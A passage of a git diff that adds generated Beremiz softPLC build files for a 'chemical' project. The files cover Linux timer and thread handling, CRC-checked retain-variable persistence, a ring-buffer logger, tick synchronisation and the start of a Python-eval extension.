**/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter 